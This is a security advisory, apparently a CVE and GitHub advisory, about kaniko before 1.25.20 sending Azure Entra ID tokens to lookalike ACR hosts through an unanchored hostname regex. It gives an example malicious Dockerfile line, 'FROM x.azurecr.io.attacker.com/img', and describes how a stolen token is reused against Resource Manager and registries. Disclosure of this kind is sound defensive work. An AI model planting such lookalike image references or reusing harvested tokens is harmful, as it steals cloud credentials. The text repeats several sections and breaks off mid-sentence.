CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary

kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.

The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.

Who is affected

You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:

• service principal credentials in the environment (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID)
• a federated workload identity token (AZURE_FEDERATED_TOKEN or AZURE_FEDERATED_TOKEN_FILE, with AZURE_CLIENT_ID and AZURE_TENANT_ID), as injected by AKS workload identity
• a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or MSI_ENDPOINT

You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in FROM lines and images in COPY --from=<image>. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.

If your Docker config.json sets "credsStore": "acr-env", the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.

Impact

The helper puts the token in both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the /oauth2/exchange endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has AcrPush or higher, the attacker can push images to your registries.

Patches

Fixed in v1.25.20 by #495. kaniko now carries a patched copy of the helper under third_party/docker-credential-acr-env, which the executor, the warmer and the docker-credential-acr-env binary built by deploy/Dockerfile all use. The patched helper accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us. For any other host it reports "credentials not found" without requesting a token.

This repository publishes no binaries or images. Rebuild the executor, the warmer and docker-credential-acr-env from v1.25.20 or later. If you import kaniko as a Go module, update github.com/chainguard-dev/kaniko to v1.25.20 or later.

From v1.25.20, kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env, so scanners stop reporting GO-2026-6225 for it.

Workarounds

If you can't upgrade, don't let untrusted builds reach an Azure identity:

• Remove Azure…

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Summary

kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.

The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.

Who is affected

You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:

• service principal credentials in the environment (AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID)
• a federated workload identity token (AZURE_FEDERATED_TOKEN or AZURE_FEDERATED_TOKEN_FILE, with AZURE_CLIENT_ID and AZURE_TENANT_ID), as injected by AKS workload identity
• a managed identity, through the Azure Instance Metadata Service (for example on an AKS node or Azure VM) or MSI_ENDPOINT

You do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in FROM lines and images in COPY --from=<image>. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.

If your Docker config.json sets "credsStore": "acr-env", the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.

Impact

The helper puts the token in both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the /oauth2/exchange endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has AcrPush or higher, the attacker can push images to your registries.

Patches

Fixed in v1.25.20 by #495. kaniko now carries a patched copy of the helper under third_party/docker-credential-acr-env, which the executor, the warmer and the docker-credential-acr-env binary built by deploy/Dockerfile all use. The patched helper accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us. For any other host it reports "credentials not found" without requesting a token.

This repository publishes no binaries or images. Rebuild the executor, the warmer and docker-credential-acr-env from v1.25.20 or later. If you import kaniko as a Go module, update github.com/chainguard-dev/kaniko to v1.25.20 or later.

From v1.25.20, kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env, so scanners stop reporting GO-2026-6225 for it.

Workarounds

If you can't upgrade, don't let untrusted builds reach an Azure identity:

• Remove Azure…

kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts in github.com/chainguard-dev/kaniko